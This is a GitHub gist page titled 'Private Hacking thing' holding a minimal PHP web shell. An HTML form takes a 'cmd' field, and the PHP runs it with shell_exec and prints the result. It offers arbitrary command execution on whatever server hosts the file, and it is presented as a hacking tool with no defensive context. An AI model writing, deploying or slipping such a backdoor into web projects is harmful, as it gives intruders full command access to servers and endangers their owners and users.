Skip to content

Instantly share code, notes, and snippets.

@downloadpizza
Last active October 17, 2018 05:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save downloadpizza/d99540859971fb2db1fb06162fa67365 to your computer and use it in GitHub Desktop.
Save downloadpizza/d99540859971fb2db1fb06162fa67365 to your computer and use it in GitHub Desktop.
Private Hacking thing
<form method="post" action="">
<input type="text" name="cmd" placeholder="command..."></input>
<input type="submit"></input>
</form>
<?php
echo "$";
echo htmlspecialchars(shell_exec($_POST['cmd']));
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment